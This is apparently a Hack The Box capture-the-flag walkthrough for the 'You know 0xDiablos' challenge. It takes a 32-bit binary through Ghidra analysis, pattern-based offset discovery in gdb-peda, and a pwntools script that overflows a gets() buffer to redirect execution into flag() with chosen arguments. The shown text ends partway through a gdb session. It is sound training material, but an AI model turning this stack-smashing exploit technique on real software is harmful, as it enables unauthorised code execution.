SYNOPSIS

Outlining the attack path demonstrated in this writeup is much easier through a picture rather than a description, since a picture is worth a thousand words.

Attack Path - You know 0xDiablos

The aim of this walkthrough is to provide help with the You know 0xDiablos challenge on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.

It belongs to a series of tutorials that aim to help out with finishing the Beginner-Track challenges.

PREPARING-CHALLENGE-FILES

After a quick look at the challenge description

I missed my flag

we proceed directly by downloading the challenge files.

downloading-challenge

There is only one compressed file called - You know 0xDiablos.zip - and we use the provided sha256 checksum to verify it’s integrity.

# shell command
echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c  You know 0xDiablos.zip" | sha256sum -c
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c  You know 0xDiablos.zip" | sha256sum -c
You know 0xDiablos.zip: OK
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

It looks like our file has not been tampered with so we continue by decompressing it.

# shell command
unzip -P hackthebox You\ know\ 0xDiablos.zip
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ unzip -P hackthebox You\ know\ 0xDiablos.zip 
Archive:  You know 0xDiablos.zip
   skipping: vuln                    need PK compat. v5.1 (can do v4.6)
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

But when trying to decompress the archive, we get an error back. Looking for a fix online steers us towards the 7z file archiver. And since it’s already installed on the pwnbox, all that’s left for us now is to run it and extract the files.

# shell command
7z x -phackthebox You\ know\ 0xDiablos.zip
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ 7z x -phackthebox You\ know\ 0xDiablos.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs DO-Regular (306F2),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3058 bytes (3 KiB)

Extracting archive: You know 0xDiablos.zip
--
Path = You know 0xDiablos.zip
Type = zip
Physical Size = 3058

Everything is Ok

Size:       15656
Compressed: 3058
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ ll
total 20K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle  16K Nov  2  2019  vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

INFORMATION-GATHERING

Looking at the result, the archive contains only one file:

  • vuln

Getting a better read on it

# shell command
file vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

reveals it as a linux executable, so we give it execution rights.

# shell command
chmod a+x vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ ll
total 20K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle  16K Nov  2  2019  vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ chmod a+x vuln
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ ll
total 20K
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle  16K Nov  2  2019  vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

Running a file name vuln sounds like a great idea, so why not do it? :)

# shell command
./vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ ./vuln 
You know who are 0xDiablos: 
test
test
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

At our first run, seemingly all the program did was to echo our input back to us. Hopefully we get more luck with the printable characters from the binary.

# shell command
strings vuln > vuln-strings.txt
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ strings vuln > vuln-strings.txt
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ cat vuln-strings.txt 
tdX 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
exit
fopen
puts
printf
fgets
stdout
setresgid
getegid
setvbuf
__libc_start_main
GLIBC_2.1
GLIBC_2.0
__gmon_start__
[^_]
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos: 
;*2$" 
GCC: (Debian 8.3.0-19) 8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.6887
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
vuln.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
__x86.get_pc_thunk.bp
vuln
fgets@@GLIBC_2.0
_edata
getegid@@GLIBC_2.0
__data_start
puts@@GLIBC_2.0
__gmon_start__
exit@@GLIBC_2.0
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
setvbuf@@GLIBC_2.0
fopen@@GLIBC_2.1
_dl_relocate_static_pie
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
__TMC_END__
setresgid@@GLIBC_2.0
flag
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$

REVERSE-ENGINEERING–STATIC-ANALYSIS

No flag there, so we move on and try disassembling it with ghidra. A bit of reverse engineering, static analysis in particular reveals the following:

  • main() calls vuln(), which does nothing except reading some data from a specific location and writing it back

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  char local_bc [180];
  
  gets(local_bc);
  puts(local_bc);
  return;
}
  • vuln() uses the gets function which is known to be susceptible to buffer overflows
  • it is important to note, that it uses a 180 character long array to store the value it reads and echoes back
  • the flag() function simply opens up flag.txt for reading, does some verification on the two parameters, and if they are correct, returns some value.

ghidra-flag-function

This is how the decompiled source code for the flag() function looks like.

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void flag(int param_1,int param_2)

{
  char local_50 [64];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 != (FILE *)0x0) {
    fgets(local_50,0x40,local_10);
    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
      printf(local_50);
    }
    return;
  }
  puts("Hurry up and try in on server side.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The parameter check especially seems very important,

...
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3))
...

therefore, we use the ghidra’s built-in functionality to convert the two hex values into character strings.

...
if ((param_1 == L'\xdeadbeef') && (param_2 == L'\xc0ded00d')) {
...

ghidra-flag-function-chars

It looks like we are already in the possession of all the missing pieces and it’s time to finally put them together. So in a nutshell, we have a buffer overflow and a function (flag()) which we want to run.

BUFFER-OVERFLOW-VULNERABILITIES

Therefore, our main idea here is to overwrite the return address stored on the stack for the vuln() function, so that when the program returns from vuln(), the execution continues with the flag() function.

There is a very nice blog post available explaining buffer overflows and stack canaries in more detail.

But for now, these are some important things to know about when working with functions calls:

  • before calling a function, the next instruction is pushed to the stack
  • once the function returns, the previously pushed instruction is popped from the stack
  • regarding memory layout: stack grows downward
  • parameters are put on stack before the function is called – in our case our stack frame could look like this when calling - flag (param_1, param_2) -
Previous frame
param_2
param_1
Return address
Previous frame address
Local variables
Free memory

This idea of overwriting the return address with a buffer overflow is called smashing the stack and it’s steps can briefly explained as:

  1. function contains a buffer variable allocated on stack – in our case, this is the local_bc variable in vuln()
  2. function copies user-controlled data to buffer without verifying that data size is smaller that buffer – vuln() does exactly that, the gets() function does no verification
  3. user data overwrites other variables on stack, up to return address saved in stack frame – we would overwrite the return address for vuln() with the starting address of the flag() function
  4. when procedure returns, program fetches return address from stack and copies it to EIP (instruction pointer) register – when the next instruction is executed, execution jumps to the flag() function
  5. program is now executing our code – in our case the flag() function

So the stack frames for the vuln() function could look like this:

Previous frame - in main()
Return address for vuln()OVERWRITE
Previous frame address – (old ebp) – OVERWRITE
local variableslocal_bc
Free memory

Let’s try and do a quick check by generating some garbage data that’s at least 180 character long. The local_bc variable in vuln() is a 180 char long buffer.

# shell command
python -c "print('A'*180)" | ./vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*180)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*181)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*182)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*183)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*184)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ python -c "print('A'*185)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

We get a segmentation fault back for 184 characters and above, which is usually the first indicator for a buffer overflow vulnerability. It means, that the we have successfully overwritten the return address with some garbage (A’s) and the program breaks down because that address is not valid.

GDB-PEDA

Our next course of action is to find out the flag() function’s memory address. But since working on buffer overflows is always easier when gdb is teamed up with peda, let’s install it first.

# shell command
git clone https://github.com/longld/peda.git ~/peda
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/Desktop]
└──╼ []$ git clone https://github.com/longld/peda.git ~/peda
Cloning into '/home/htb-bluewalle/peda'...
remote: Enumerating objects: 382, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 382 (delta 2), reused 8 (delta 2), pack-reused 373
Receiving objects: 100% (382/382), 290.84 KiB | 5.10 MiB/s, done.
Resolving deltas: 100% (231/231), done.
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/Desktop]
└──╼ []$
# shell command
echo "source ~/peda/peda.py" >> ~/.gdbinit
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/Desktop]
└──╼ []$ echo "source ~/peda/peda.py" >> ~/.gdbinit
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/Desktop]
└──╼ []$

Once everything is set up, we run gdb on our executable.

# shell command
gdb vuln -q
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ gdb vuln -q
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$

Once nice thing about peda that it already includes most of the tools you would need for payload generation. Let’s create a pattern/payload that definitely results in a segmentation fault.

# gdb command
pattern_create 200 payload-200.txt
# terminal interaction
gdb-peda$ pattern_create --help
Generate a cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
    pattern_create size [file]

gdb-peda$ pattern_create 200 pattern-200.txt
Writing pattern of 200 chars to filename "pattern-200.txt"
gdb-peda$

Then we feed this payload to our executable when running it.

# gdb command
run < pattern-200.txt
# terminal interaction
gdb-peda$ run < pattern-200.txt 
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < pattern-200.txt
You know who are 0xDiablos: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0x76414158 ('XAAv')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0x41594141 ('AAYA')
ESP: 0xffffd060 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffd060 ("ZAAxAAyA")
0004| 0xffffd064 ("AAyA")
0008| 0xffffd068 --> 0xffffd100 --> 0x1 
0012| 0xffffd06c --> 0x3eb 
0016| 0xffffd070 --> 0xffffd090 --> 0x1 
0020| 0xffffd074 --> 0x0 
0024| 0xffffd078 --> 0x0 
0028| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()
gdb-peda$

Great, the program broke down because the EIP (extended instruction pointer) was overwritten with our garbage data. Currently it holds - (‘AwAA’) - which is simply junk data, but it should had the return address when returning from the vuln() to main().

So our goal now is controlling what exactly get’s written into this register. For that, we need to find the offset. Put simply, exactly just how many characters are before this - (‘AwAA’) - character string? Let’s check the offset for the EIP which contains the value of - 0x41417741 or AwAA’ -.

# gdb command
pattern_offset 0x41417741
# terminal interaction
gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188
gdb-peda$

It looks like our offset is at 188. Now, to redirect the execution flow to the flag() function, we first need to know it’s starting address. This memory address - 0x080491e2 - is the first address we find when we disassemble the flag() function.

# shell command
disass flag
# terminal interaction
gdb-peda$ disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:	push   ebp
   0x080491e3 <+1>:	mov    ebp,esp
   0x080491e5 <+3>:	push   ebx
   0x080491e6 <+4>:	sub    esp,0x54
   0x080491e9 <+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:	add    ebx,0x2e12
   0x080491f4 <+18>:	sub    esp,0x8
   0x080491f7 <+21>:	lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:	push   eax
   0x080491fe <+28>:	lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:	push   eax
   0x08049205 <+35>:	call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:	add    esp,0x10
   0x0804920d <+43>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:	jne    0x8049232 <flag+80>
   0x08049216 <+52>:	sub    esp,0xc
   0x08049219 <+55>:	lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:	push   eax
   0x08049220 <+62>:	call   0x8049070 <puts@plt>
   0x08049225 <+67>:	add    esp,0x10
   0x08049228 <+70>:	sub    esp,0xc
   0x0804922b <+73>:	push   0x0
   0x0804922d <+75>:	call   0x8049080 <exit@plt>
   0x08049232 <+80>:	sub    esp,0x4
   0x08049235 <+83>:	push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:	push   0x40
   0x0804923a <+88>:	lea    eax,[ebp-0x4c]
   0x0804923d <+91>:	push   eax
   0x0804923e <+92>:	call   0x8049050 <fgets@plt>
   0x08049243 <+97>:	add    esp,0x10
   0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:	jne    0x8049269 <flag+135>
   0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:	jne    0x804926c <flag+138>
   0x08049258 <+118>:	sub    esp,0xc
   0x0804925b <+121>:	lea    eax,[ebp-0x4c]
   0x0804925e <+124>:	push   eax
   0x0804925f <+125>:	call   0x8049030 <printf@plt>
   0x08049264 <+130>:	add    esp,0x10
   0x08049267 <+133>:	jmp    0x804926d <flag+139>
   0x08049269 <+135>:	nop
   0x0804926a <+136>:	jmp    0x804926d <flag+139>
   0x0804926c <+138>:	nop
   0x0804926d <+139>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:	leave  
   0x08049271 <+143>:	ret    
End of assembler dump.
gdb-peda$

GENERATING-PAYLOAD-WITH-PWNTOOLS

It’s time to set out to create our payload. Using pwntools in a scenario like this could immensely speed up the whole payload generation process.

There are clear instructions on the website regarding the installation, so we just follow along.

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Once installed, let’s create a scipt for payload generation.

# shell command
touch payload-get.py
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ touch payload-gen.py
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ codium payload-gen.py
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

Moreover, let’s use the checksec command to check the binary security settings.

# shell command
checksec vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ checksec --help
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]

Check binary security settings

positional arguments:
  elf               Files to check

optional arguments:
  -h, --help        show this help message and exit
  --file [elf ...]  File to check (for compatibility with checksec.sh)
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ checksec vuln
[*] '/home/htb-bluewalle/you-know-0xdiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

There a couple of thing’s we need to keep in mind when we create the payload:

  • our target is a 32-bit executable
  • endianness: little-endian (LE) – from LSB executable ( - file vuln - output)

As for the script, it’s just mostly just putting together all the little pieces we gathered up to now.

# payload-gen.py
from pwn import *

offset = 188
flag_addr = 0x080491e2
eip_addr = p32(flag_addr)
garbage = b'A'*offset

previous_frame = b'A'*4

param_1 = p32(0xdeadbeef)
param_2 = p32(0xc0ded00d)

payload = garbage + eip_addr + previous_frame + param_1 + param_2

with open("payload.txt", "wb") as file:
    file.write(payload)

It’s one of the simplest ones, but even here, there are a few things to take a note of:

  • the return address which we overwrite, - eip_addr - is packaged as hex in a little endian format (default for p32())
  • the output file - payload.txt - is opened in a binary (b) mode for writing (w)
  • we use c calling conventions to determine which parameter goes first and which second
  • the data in previous_frame is arbitrary, it simply acts as a filler, but it has to be exactly 4 byte long
  • the same packaging is used on the parameters as with the flag’s starting address

It’s time for a test. Let’s set a breakpoint at the flag() function

# gdb command
b flag
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$

before feeding the executable our new payload.

# gdb command
r < payload.txt
# terminal interaction
gdb-peda$ r < payload.txt 
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < payload.txt
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[----------------------------------registers-----------------------------------]
EAX: 0xc1 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAA")
ESP: 0xffffd058 ("AAAAAAAA")
EIP: 0x80491e6 (<flag+4>:	sub    esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491e2 <flag>:	push   ebp
   0x80491e3 <flag+1>:	mov    ebp,esp
   0x80491e5 <flag+3>:	push   ebx
=> 0x80491e6 <flag+4>:	sub    esp,0x54
   0x80491e9 <flag+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x80491ee <flag+12>:	add    ebx,0x2e12
   0x80491f4 <flag+18>:	sub    esp,0x8
   0x80491f7 <flag+21>:	lea    eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ("AAAAAAAA")
0004| 0xffffd05c ("AAAA")
0008| 0xffffd060 --> 0x0 
0012| 0xffffd064 --> 0xffffd134 --> 0xffffd2ca ("/home/htb-bluewalle/you-know-0xdiablos/vuln")
0016| 0xffffd068 --> 0xffffd13c --> 0xffffd2f6 ("SHELL=/bin/bash")
0020| 0xffffd06c --> 0x3eb 
0024| 0xffffd070 --> 0xffffd090 --> 0x1 
0028| 0xffffd074 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$

It worked, the execution flow was successfully redirected to the flag() function. Taking an other look at the decompiled flag() function, we notice our next hurdle:

...
if (local_10 != (FILE *)0x0)
...

Put plainly, we can only pass if the file mentioned - flag.txt - was successfully opened. So let’s create such a file locally.

# shell command
echo -n "SUCCESS" > flag.txt
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ echo -n "SUCCESS" > flag.txt
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ cat flag.txt 
SUCCESS┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

Let’s run gdb again

# gdb commands
b flag
r < payload.txt
# terminal interaction
[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$ r < payload.txt
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < payload.txt
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
[----------------------------------registers-----------------------------------]
EAX: 0xcd 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
EIP: 0x80491e6 (<flag+4>:	sub    esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491e2 <flag>:	push   ebp
   0x80491e3 <flag+1>:	mov    ebp,esp
   0x80491e5 <flag+3>:	push   ebx
=> 0x80491e6 <flag+4>:	sub    esp,0x54
   0x80491e9 <flag+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x80491ee <flag+12>:	add    ebx,0x2e12
   0x80491f4 <flag+18>:	sub    esp,0x8
   0x80491f7 <flag+21>:	lea    eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
0004| 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
0008| 0xffffd060 ("AAAAᆳ\336\r\320\336\300")
0012| 0xffffd064 --> 0xdeadbeef 
0016| 0xffffd068 --> 0xc0ded00d 
0020| 0xffffd06c --> 0x300 
0024| 0xffffd070 --> 0xffffd090 --> 0x1 
0028| 0xffffd074 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

